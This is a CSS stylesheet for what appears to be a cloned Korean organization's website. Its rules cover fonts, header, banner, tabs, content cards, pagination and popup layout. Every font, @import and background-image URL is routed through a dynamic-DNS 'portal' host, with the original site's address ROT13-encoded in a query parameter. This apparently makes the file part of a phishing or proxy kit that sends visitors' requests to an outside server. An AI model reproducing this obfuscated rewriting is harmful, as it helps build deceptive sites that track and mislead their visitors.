@charset "utf-8";

@font-face {
    font-family:'NanumGothic';
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfbtbatva.lcn.be.xe%2Spff%2SAnahzTbguvp.rbg'); 
	 src:local(※),
	 url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfbtbatva.lcn.be.xe%2Spff%2SAnahzTbguvp.rbg%3S%23vrsvk##iefix') format('embedded-opentype'),
         url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfbtbatva.lcn.be.xe%2Spff%2SAnahzTbguvp.jbss') format('truetype');
    font-weight: normal;
    font-style: normal; 
}

@import url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Spqa.wfqryvie.arg%2Stu%2Szbbafcnz%2SAnahzFdhner%401.0%2Sanahzfdhner.pff);

* {margin:0;}
	
body,input,select,textarea { color:#000; font-family:"NanumGothic"; font-size:13px; overflow-x: hidden; overflow-y: auto; }


/* 체크박스 & 라디오버튼 정렬 */
input[id="input_chk"] { position:relative; top: 2px; *top: 1px; /* IE 6-8 높이핵 */ }
input[type="checkbox"] { position:relative; top: 2px; *top: 1px; /* IE 6-8 높이핵 */ }
input[type="radio"] { margin-top: -1px; vertical-align: middle; }


/* reset */
a { margin:0; padding:0; font-size:100%; text-decoration:none; vertical-align:baseline; color:#666; background:transparent; }
img { vertical-align:top; }
table { border-collapse:collapse; border-spacing:0; }

/* 헤더 */
.gnb { margin:0 auto; width:1200px; height: 60px; }
.gnb .logoArea1 { float:left; width:600px; height: 60px; }
.gnb .logoArea1 .logo1 { width:600px; height: 60px; display: table-cell; vertical-align: middle; } /* 이미지 세로 중앙정렬 */
.gnb .logoArea2 { float:left; width:600px; height: 60px; }
.gnb .logoArea2 .logo2 { width:600px; height: 60px; display: table-cell; vertical-align: middle; text-align: right; } /* 이미지 세로 중앙정렬 */


/* 메인이미지 */
.mainImgArea { float:left; width:100%; height: 700px; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfbtbatva.lcn.be.xe%2Svzntrf%2Sbayvar%2SznvaVzt.wct") center;} /* 메인이미지 */
.mainImgArea .mainTexArea { margin:0 auto; width:1150px; height: 490px; margin-top: 180px; }
.mainImgArea .mainTexArea .mainTex1 { float:left; width:1150px; height: 70px; font-size: 50px; color:#00d1ff; font-family: "NanumSquare"; font-weight: bold; text-align: center; }
.mainImgArea .mainTexArea .mainTex2 { float:left; width:1150px; height: 140px; font-size: 110px; color:#00f4c8; font-family: "NanumSquare"; font-weight: bold; text-align: center; }
.mainImgArea .mainTexArea .mainTex3 { float:left; width:1150px; height: 120px; font-size: 24px; color:#a9a8a7; font-family: "NanumSquare"; font-weight: bold; text-align: center; line-height: 160%; }
.mainImgArea .mainTexArea .mainInputArea { float:left; width:1150px; height: 58px; text-align: center; }

.input_search1 { width:380px; height:58px; color:#333333; font-size:20px; border: 0px #d7d7d7 solid; padding-left:20px; text-align:left; border-radius:30px; }
.btn_search { display:inline-block; width:120px; height:60px; background-color:#ffde71; color:#000; font-size:18px; line-height:60px; margin-left: 20px; }
.btn_search:hover { background-color:#DBA800; color:#000; }

.mainImgArea .noticeArea { margin:0 auto; width:1150px; height: 70px; background-color: rgba(0, 0, 0, 0.5); }
.mainImgArea .noticeArea .noticeTit { float:left; width:180px; height: 70px; font-size: 28px; color:#FFFFFF; text-align: center; line-height: 70px; font-family: "NanumSquare"; }
.mainImgArea .noticeArea .noticeCon { float:left; width:900px; height: 70px; font-size: 18px; color:#FFFFFF; line-height: 70px; }
.mainImgArea .noticeArea .noticeDate { float:left; width:120px; height: 70px; font-size: 16px; color:#FFFFFF; text-align: center; line-height: 70px; }


/* 검색 */
.searchArea { float:left; width:1150px; height:50px; margin-top: 40px; text-align: right; }
.input_search2 { width:280px; height:48px; color:#333333; font-size:16px; border: 1px #dddddd solid; padding-left:20px; text-align:left; }

/* 탭영역 (3개짜리) */
.tabArea { float:left; width:1146px; height:212px; border-top:2px solid #000; margin-top: 25px; margin-bottom: 40px; border-left:1px solid #e0e0e0; }
.tabArea .tab_on { float:left; width:380px; height:70px; background-color: #000; color: #FFF; font-size: 18px; text-align: center; line-height: 70px; border-right:1px solid #000; border-bottom:1px solid #000; }
.tabArea .tab_off { float:left; width:380px; height:70px; font-size: 18px; text-align: center; line-height: 70px; border-right:1px solid #e0e0e0; border-bottom:1px solid #e0e0e0; }
.tabArea .tab_off a:link { color:#000; text-decoration:none; }
.tabArea .tab_off a:visited { color:#000; text-decoration:none; }
.tabArea .tab_off a:hover { color:#000; text-decoration:underline; }


/* 탭영역 (4개짜리)
.tabArea { float:left; width:1149px; height:212px; border-top:2px solid #000; margin-top: 50px; margin-bottom: 40px; border-left:1px solid #e0e0e0; }
.tabArea .tabA_on { float:left; width:287px; height:70px; background-color: #000; color: #FFF; font-size: 18px; text-align: center; line-height: 70px; border-right:1px solid #000; border-bottom:1px solid #000; }
.tabArea .tabA_off { float:left; width:287px; height:70px; font-size: 18px; text-align: center; line-height: 70px; border-right:1px solid #e0e0e0; border-bottom:1px solid #e0e0e0; }
.tabArea .tabA_off a:link { color:#000; text-decoration:none; }
.tabArea .tabA_off a:visited { color:#000; text-decoration:none; }
.tabArea .tabA_off a:hover { color:#000; text-decoration:underline; }

.tabArea .tabB_on { float:left; width:286px; height:70px; background-color: #000; color: #FFF; font-size: 18px; text-align: center; line-height: 70px; border-top:1px solid #000; border-right:1px solid #000; border-left:1px solid #000; border-bottom:1px solid #000; }
.tabArea .tabB_off { float:left; width:286px; height:70px; font-size: 18px; text-align: center; line-height: 70px; border-right:1px solid #e0e0e0; border-bottom:1px solid #e0e0e0; }
.tabArea .tabB_off a:link { color:#000; text-decoration:none; }
.tabArea .tabB_off a:visited { color:#000; text-decoration:none; }
.tabArea .tabB_off a:hover { color:#000; text-decoration:underline; }
 */


/* 콘텐츠영역 */
.container { margin:0 auto; width:1150px; min-height: 200px; }
.conTR { float:left; width:1150px; height:415px; margin-bottom: 80px; }
.conTR .conTD { float:left; width:350px; height:415px; }
.conTR .conTD .conImg { float:left; width:350px; height:250px; }
.conTR .conTD .conTit { float:left; width:350px; height:30px; margin-top: 25px; color: #000; font-size: 20px; font-weight: bold; }
.conTR .conTD .conCompany { float:left; width:350px; height:50px; color: #5e5e5e; font-size: 16px; }
.conTR .conTD .conBtn { float:left; width:350px; height:60px; }
.btn_room { display:inline-block; width:348px; height:58px; color:#000; border:1px solid #000; font-size:18px; line-height:58px; text-align: center; font-weight: bold; }
.btn_room:hover { color:#000000; text-decoration: underline; }
.mgr50 { margin-right: 50px; }



/* 페이지넘버 */
.pagenum_area { float:left; width:1150px; height:100px; text-align:center; }
.pagenum_on { display:inline-block; width:40px; height:40px; background-color:#303d4a; color:#FFF; font-size:15px; font-weight:bold; line-height:40px; text-decoration:none; text-align:center; margin-right: 5px; }
.pagenum { display:inline-block; width:39px; height:38px; background-color:#FFF; color:#9b9b9b; font-family:Arial; font-size:15px; line-height:38px; border:1px solid #dadde0; text-decoration:none; text-align:center; margin-right: 5px; }
.pagenum:hover { background-color:#303d4a; color:#FFF; border:1px solid #303d4a; margin-right: 5px; }


/* 푸터 */
.footerArea { float:left; width:100%; height: 140px; border-top:1px solid #dedede; line-height: 140px; overflow: hidden; }
.footerArea .footer1 { margin:0 auto; width:1150px; height: 80px; text-align: center; }


.btn_off { display:inline-block; width:260px; height:58px; color:#000; border:1px solid #000; font-size:18px; line-height:58px; text-align: center; margin-right: 10px; margin-top: 25px;}
.btn_off:hover { color:#ffffff; background-color: #000000; }
.btn_list { display:inline-block; width:260px; height:58px; color:#FFF; background-color: #000000; border:1px solid #000; font-size:18px; line-height:58px; text-align: center; margin-left: 10px; margin-top: 25px;}
.btn_list:hover { color:#ffffff; background-color: #545454; }



.footerArea .footer2 { margin:0 auto; width:1150px; height: 140px; font-size: 14px; color:#9c9c9c; text-align: center; line-height: 150px; }



/* //////////////////////////////// 팝업영역 /////////////////////////////////////// */


/* 콘텐츠영역 (가로1150 x 세로 800) */
/* .pop_container { margin:0 auto; width:1100px; height: 760px; background-color: #FFF; padding-top: 40px; padding-left: 50px; }

.pop_titArea { float:left; width:1050px; height: 49px; border-bottom:1px solid #000; }
.pop_titArea .pop_tit { float:left; width:200px; height: 49px; font-size: 32px; color:#000000; font-family: "NanumSquare"; font-weight: bold; }
.pop_titArea .pop_category { float:left; width:820px; height: 49px; font-size: 18px; color:#8d8d8d; font-family: "NanumSquare"; line-height: 30px; }

.pop_imgArea { float:left; width:1050px; height: 350px; margin-top: 50px; } 이미지, 제목, 회사명, 대표전화등등
.pop_imgArea .pop_conImg { float:left; width:750px; height: 350px; margin-right: 60px; background-color: #666666;} 이미지

.pop_imgArea .pop_infoArea { float:left; width:540px; height: 350px;  background-color: #999999;}
.pop_imgArea .pop_infoArea .pop_conSubject { float:left; width:540px; height: 50px; font-size: 24px; color:#000; font-family: "NanumSquare"; font-weight: bold; letter-spacing: -1px; } 물품명
.pop_imgArea .pop_infoArea .pop_info { float:left; width:540px; height: 38px; } 제목, 내용
.pop_imgArea .pop_infoArea .pop_info .pop_infoTxt1 { float:left; width:140px; height: 38px; padding-left: 20px; line-height: 38px; font-size: 18px; color:#000; font-family: "NanumSquare"; font-weight: bold; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfbtbatva.lcn.be.xe%2Svzntrf%2Sbayvar%2Scbc_vasbGkg1_ot.cat") center; } 제목
.pop_imgArea .pop_infoArea .pop_info .pop_infoTxt2 { float:left; width:380px; height: 38px; line-height: 38px; font-size: 18px; color:#4e4e4e; font-family: "NanumSquare"; } 내용
.btn_download { display:inline-block; color:#4e4e4e; font-size:18px; text-align: center; text-decoration: underline; margin-right: 30px; }
.btn_download:hover { color:#000; background-color: #d3d3d3; }

.pop_imgArea .pop_infoArea .pop_btnArea2 { float:left; width:540px; height: 40px; text-align: right; margin-top: 40px; } 버튼 (홈페이지, 홍보영상)
.btn_homepage { display:inline-block; width:120px; height:40px; color:#000; border:1px solid #000; font-size:16px; line-height:40px; text-align: center; border-radius:20px; margin-right: 10px; }
.btn_homepage:hover { color:#ffffff; background-color: #000000; }
.btn_vod { display:inline-block; width:120px; height:40px; color:#FFF; background-color: #000; border:1px solid #000; font-size:16px; line-height:40px; text-align: center; border-radius:20px; }
.btn_vod:hover { color:#ffffff; background-color: #464646; }

.pop_txtArea { float:left; width:1050px; height: 270px; margin-top: 50px; overflow-y:scroll; font-size: 18px; color:#737373; line-height: 170%; border-top:1px solid #d6d6d6; padding-top: 40px; } 내용설명



 */




/* 공통사항 */


.etit1 { float:left; width:1150px; height: 30px; font-size: 18px; color:#7a7a7a; text-align: center; margin-top: 80px; }
.etit2 { float:left; width:1150px; height: 30px; font-size: 18px; color:#757575; text-align: center; margin-top: 80px; }
.etit3 { float:left; width:1150px; height: 30px; font-size: 18px; color:#58abdb; text-align: center; margin-top: 50px; }
.ktit1 { float:left; width:1150px; height: 110px; font-size: 52px; color:#000; font-family: "NanumSquare"; text-align: center; }
.ktit2 { float:left; width:1150px; height: 110px; font-size: 52px; color:#FFF; text-align: center; }
.ktit3 { float:left; width:1150px; height: 110px; font-size: 52px; color:#FFF; text-align: center; }
.summary1 { float:left; width:1150px; min-height: 30px; font-size: 22px; color:#303030; text-align: center; line-height: 170%; margin-bottom: 80px; letter-spacing: -1px; }
.summary2 { float:left; width:1150px; min-height: 30px; font-size: 22px; color:#e4e4e4; text-align: center; line-height: 170%; margin-bottom: 80px; letter-spacing: -1px; }

.conImg0 { float:left; width:1150px; min-height: 20px; }
.conImg1 { float:left; width:1150px; min-height: 20px; margin-bottom: 80px; }
.conMg45 { float:left; width:1150px; height: 45px; }
.conMg80 { float:left; width:1150px; height: 80px; }

.mgr35 { margin-right: 35px; }
.mgb55 { margin-bottom: 55px; }





/* 서비스문의 */
.contactArea { float:left; width:100%; height: 400px; background: linear-gradient( rgba(0, 0, 0, 0.7), rgba(0, 0, 0, 0.7) ), url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfbtbatva.lcn.be.xe%2Svzntrf%2Sznva%2SpbagnpgVzt.wct') center ; }
.contact_txt1 { float:left; width:1200px; height: 80px; font-size: 36px; color:#FFFFFF; text-align: center; font-family: "NanumSquare"; margin-top: 125px; }
.contact_btnArea { float:left; width:1200px; height: 80px; text-align: center; }
.btn_contact { display:inline-block; width:250px; height:60px; background-color:#ffcb06; color:#000; font-size:18px; line-height:60px; border-radius: 30px; }
.btn_contact:hover { background-color:#DBA800; color:#000; }




.btn_styleB1 { display:inline-block; width:160px; height:40px; background-color:#303d4a; color:#FFF; font-size:16px; line-height:40px; border:1px solid #303d4a; border-radius: 3px; }
.btn_styleB1:hover { background-color:#101b27; color:#FFF; }
.btn_styleB2 { display:inline-block; width:160px; height:40px; background-color:#FFF; color:#303d4a; font-size:16px; line-height:40px; border:1px solid #303d4a; border-radius: 3px; }
.btn_styleB2:hover { background-color:#101b27; color:#FFF; }




/* //////////////////////////////// 서브페이지 /////////////////////////////////////// */


/* 서브헤더 */
.sub_gnbArea { float:left; width:100%; height: 60px; background-color: #000000; }
.sub_gnbArea .sub_gnb { margin:0 auto; width:1150px; height: 60px; }
.sub_gnbArea .sub_gnb .logoArea1 { float:left; width:600px; height: 60px; }
.sub_gnbArea .sub_gnb .logoArea1 .logo1 { width:600px; height: 60px; display: table-cell; vertical-align: middle; } /* 이미지 세로 중앙정렬 */
.sub_gnbArea .sub_gnb .logoArea2 { float:left; width:550px; height: 60px; }
.sub_gnbArea .sub_gnb .logoArea2 .logo2 { width:550px; height: 60px; display: table-cell; vertical-align: middle; text-align: right; } /* 이미지 세로 중앙정렬 */


/* 서브콘텐츠영역 (가로1150 x 세로 800) */
.pop_container { margin:0 auto; width:1100px; height: 760px; background-color: #FFF; padding-top: 40px; padding-left: 50px; margin-top: 60px; }

.pop_titArea { float:left; width:1150px; height: 49px; border-bottom:1px solid #000; }
.pop_titArea .pop_tit { float:left; width:300px; height: 49px; font-size: 32px; color:#000000; font-family: "NanumSquare"; font-weight: bold; }
.pop_titArea .pop_category { float:left; width:820px; height: 49px; font-size: 18px; color:#8d8d8d; font-family: "NanumSquare"; line-height: 30px; }

.pop_imgArea { float:left; width:1150px; height: 350px; margin-top: 50px; } /* 이미지, 제목, 회사명, 대표전화등등 */
.pop_imgArea .pop_conImg { float:left; width:450px; height: 350px; margin-right: 60px; } /* 이미지 */

.pop_imgArea .pop_infoArea { float:left; width:640px; height: 350px; }
.pop_imgArea .pop_infoArea .pop_conSubject { float:left; width:640px; height: 50px; font-size: 24px; color:#000; font-family: "NanumSquare"; font-weight: bold; letter-spacing: -1px; } /* 물품명 */
.pop_imgArea .pop_infoArea .pop_info { float:left; width:640px; height: 38px; } /* 제목, 내용 */
.pop_imgArea .pop_infoArea .pop_info .pop_infoTxt1 { float:left; width:140px; height: 38px; padding-left: 20px; line-height: 38px; font-size: 18px; color:#000; font-family: "NanumSquare"; font-weight: bold; background:url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Sfbtbatva.lcn.be.xe%2Svzntrf%2Sbayvar%2Scbc_vasbGkg1_ot.cat") center; } /* 제목 */
.pop_imgArea .pop_infoArea .pop_info .pop_infoTxt2 { float:left; width:480px; height: 38px; line-height: 38px; font-size: 18px; color:#4e4e4e; font-family: "NanumSquare"; } /* 내용 */
.btn_download { display:inline-block; color:#4e4e4e; font-size:18px; text-align: center; text-decoration: underline; margin-right: 30px; }
.btn_download:hover { color:#000; background-color: #d3d3d3; }

.pop_imgArea .pop_infoArea .pop_btnArea2 { float:left; width:640px; height: 40px; text-align: right; margin-top: 40px; } /* 버튼 (홈페이지, 홍보영상) */
.btn_homepage { display:inline-block; width:120px; height:40px; color:#000; border:1px solid #000; font-size:16px; line-height:40px; text-align: center; border-radius:20px; margin-right: 10px; }
.btn_homepage:hover { color:#ffffff; background-color: #000000; }
.btn_vod { display:inline-block; width:120px; height:40px; color:#FFF; background-color: #000; border:1px solid #000; font-size:16px; line-height:40px; text-align: center; border-radius:20px; }
.btn_vod:hover { color:#ffffff; background-color: #464646; }

.pop_txtArea { float:left; width:1150px; min-height: 50px; margin-top: 50px; margin-bottom: 40px; font-size: 18px; color:#737373; line-height: 180%; border-top:1px solid #d6d6d6; padding-top: 40px; } /* 내용설명 */
.article { float:left; width:100%; }